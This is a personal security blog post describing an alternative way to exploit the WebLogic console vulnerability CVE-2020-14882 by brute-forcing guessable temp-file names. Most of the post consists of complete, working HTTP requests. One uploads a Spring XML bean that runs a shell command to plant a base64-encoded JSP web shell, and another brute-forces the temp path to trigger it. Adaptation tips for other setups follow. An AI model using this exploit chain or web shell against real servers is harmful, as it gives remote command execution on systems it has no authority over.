Skip to main content
akmalhisyam.my

CVE-2020-14882 - alternative exploit path

·3 mins

TLDR: Uploading files via deployment feature will fail but the files will still be written in /tmp & FilesystemXmlApplicationContext accepts local file path as arguments.

Motivation #

I discovered a Weblogic instance vulnerable to CVE-2020-14882 but failed to exploit it using publicly documented exploit. The reason being:

  1. com.tangosol.coherence.mvel2.sh.ShellSession can’t be used because it is only available in Weblogic 12.2.1 and above.
  2. com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext is available and usable, but the network where the server is hosted block outbound connection needed to fetch external payload.

So I spawned a vulnerable Weblogic docker image and play around with it to find alternative ways to get RCE with this vuln.

Finding #

When I send this request to upload file via the deployment feature

POST /console/css/%252e%252e%252fconsole.portal?AppApplicationInstallPortlet_actionOverride=/com/bea/console/actions/app/install/uploadApp HTTP/1.1
Host: 127.0.0.1:7001
Content-Length: 201
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXfGbQLnJuzQwxUhe
Connection: close

------WebKitFormBoundaryXfGbQLnJuzQwxUhe
Content-Disposition: form-data; name="AppApplicationInstallPortletuploadAppPath"; filename="test.xml"
Content-Type: application/json

heybaby im a payload
------WebKitFormBoundaryXfGbQLnJuzQwxUhe--

The server returns an error

HTTP/1.1 302 Moved Temporarily
Cache-Control: no-cache,no-store,max-age=0
Connection: close
Date: Wed, 25 May 2022 14:53:42 GMT
Pragma: No-cache
Location: http://127.0.0.1:7001/console/console.portal?_nfpb=true&_pageLabel=UnexpectedExceptionPage
Content-Type: text/html; charset=UTF-8
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Set-Cookie: ADMINCONSOLESESSION=69b7tZQ3BvWmgedBebp4kfVVe63IpBCzDJzBdGbwcTkbMUhodT6R!540716614; path=/; HttpOnly
Content-Length: 385

<html><head><title>302 Moved Temporarily</title></head>
<body bgcolor="#FFFFFF">
<p>This document you requested has moved 
temporarily.</p>
<p>It's now at <a href="http://127.0.0.1:7001/console/console.portal?_nfpb=true&amp;_pageLabel=UnexpectedExceptionPage">http://127.0.0.1:7001/console/console.portal?_nfpb=true&amp;_pageLabel=UnexpectedExceptionPage</a>.</p>
</body></html>

But when I check /tmp, the file is there

$ ls -lrt
total 24
drwxr-xr-x 3 oracle oinstall 4096 May  3  2015 wlstTemporacle
drwxr-xr-x 1 oracle oinstall 4096 May 25 14:09 hsperfdata_oracle
-rw-r--r-- 1 oracle oinstall   22 May 25 14:52 upload_00000016.tmp
$ cat upload_00000016.tmp 
heybaby im a payload

And the 8 digit number appended is incremental (guessable)

$ ls -lrt
total 24
drwxr-xr-x 3 oracle oinstall 4096 May  3  2015 wlstTemporacle
drwxr-xr-x 1 oracle oinstall 4096 May 25 14:09 hsperfdata_oracle
-rw-r--r-- 1 oracle oinstall   22 May 25 14:52 upload_00000016.tmp
-rw-r--r-- 1 oracle oinstall   22 May 25 14:53 upload_00000017.tmp
-rw-r--r-- 1 oracle oinstall   22 May 25 14:53 upload_00000018.tmp
-rw-r--r-- 1 oracle oinstall   22 May 25 14:53 upload_00000019.tmp

And since FilesystemXmlApplicationContext also accept local path as parameters (https://docs.spring.io/spring-framework/docs/current/javadoc-api/org/springframework/context/support/FileSystemXmlApplicationContext.html), if we were able to guess the temporary file location, we can execute system command!

Exploitation #

Upload payload

POST /console/css/%252e%252e%252fconsole.portal?AppApplicationInstallPortlet_actionOverride=/com/bea/console/actions/app/install/uploadApp HTTP/1.1
Host: 127.0.0.1:7001
Content-Length: 1718
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXfGbQLnJuzQwxUhe
Connection: close

------WebKitFormBoundaryXfGbQLnJuzQwxUhe
Content-Disposition: form-data; name="AppApplicationInstallPortletuploadAppPath"; filename="test.xml"
Content-Type: application/json

<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
  <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
    <constructor-arg>
      <list>
        <value>sh</value>
        <value>-c</value>
        <value><![CDATA[echo PCVAIHBhZ2UgaW1wb3J0PSJqYXZhLnV0aWwuKixqYXZhLmlvLioiJT4KPEhUTUw+PEJPRFk+CjxGT1JNIE1FVEhPRD0iR0VUIiBOQU1FPSJteWZvcm0iIEFDVElPTj0iIj4KPElOUFVUIFRZUEU9InRleHQiIE5BTUU9ImNtZCI+CjxJTlBVVCBUWVBFPSJzdWJtaXQiIFZBTFVFPSJTZW5kIj4KPC9GT1JNPgo8cHJlPgo8JQppZiAocmVxdWVzdC5nZXRQYXJhbWV0ZXIoImNtZCIpICE9IG51bGwpIHsKICAgICAgICBvdXQucHJpbnRsbigiQ29tbWFuZDogIiArIHJlcXVlc3QuZ2V0UGFyYW1ldGVyKCJjbWQiKSArICI8QlI+Iik7CiAgICAgICAgUHJvY2VzcyBwID0gUnVudGltZS5nZXRSdW50aW1lKCkuZXhlYyhyZXF1ZXN0LmdldFBhcmFtZXRlcigiY21kIikpOwogICAgICAgIE91dHB1dFN0cmVhbSBvcyA9IHAuZ2V0T3V0cHV0U3RyZWFtKCk7CiAgICAgICAgSW5wdXRTdHJlYW0gaW4gPSBwLmdldElucHV0U3RyZWFtKCk7CiAgICAgICAgRGF0YUlucHV0U3RyZWFtIGRpcyA9IG5ldyBEYXRhSW5wdXRTdHJlYW0oaW4pOwogICAgICAgIFN0cmluZyBkaXNyID0gZGlzLnJlYWRMaW5lKCk7CiAgICAgICAgd2hpbGUgKCBkaXNyICE9IG51bGwgKSB7CiAgICAgICAgICAgICAgICBvdXQucHJpbnRsbihkaXNyKTsgCiAgICAgICAgICAgICAgICBkaXNyID0gZGlzLnJlYWRMaW5lKCk7IAogICAgICAgICAgICAgICAgfQogICAgICAgIH0KJT4KPC9wcmU+CjwvQk9EWT48L0hUTUw+ | base64 -d > ../../../wlserver/server/lib/consoleapp/webapp/images/minify.jsp]]></value>
      </list>
    </constructor-arg>
  </bean>
</beans>
------WebKitFormBoundaryXfGbQLnJuzQwxUhe--

Brute path with intruder

GET /console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("/tmp/upload_§00000000§.tmp") HTTP/1.1
Host: 127.0.0.1:7001
Content-Length: 0
Connection: close

The shell should now be accessible at http://127.0.0.1:7001/console/images/minify.jsp

Additional notes #

  • Some setup use upload_<UUID>_<8_digit_incremental>.tmp. In that case, you can use asterisk like /tmp/upload*§00000000§.tmp
  • Not all setup use /tmp. For example in Solaris it is /var/tmp
  • Sometimes /tmp get cleared before you managed to use it.
  • In some setup, you have to use file:/// URI scheme.
  • In some setup, you cant use path traversal to write shell due to different working directory. You can get Weblogic home path by going to /console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=ServerMonitoringTabmonitoringTabPage&handle=com.bea.console.handles.JMXHandle%28%22com.bea%3AName%3DAdminServer%2CType%3DServer%22%29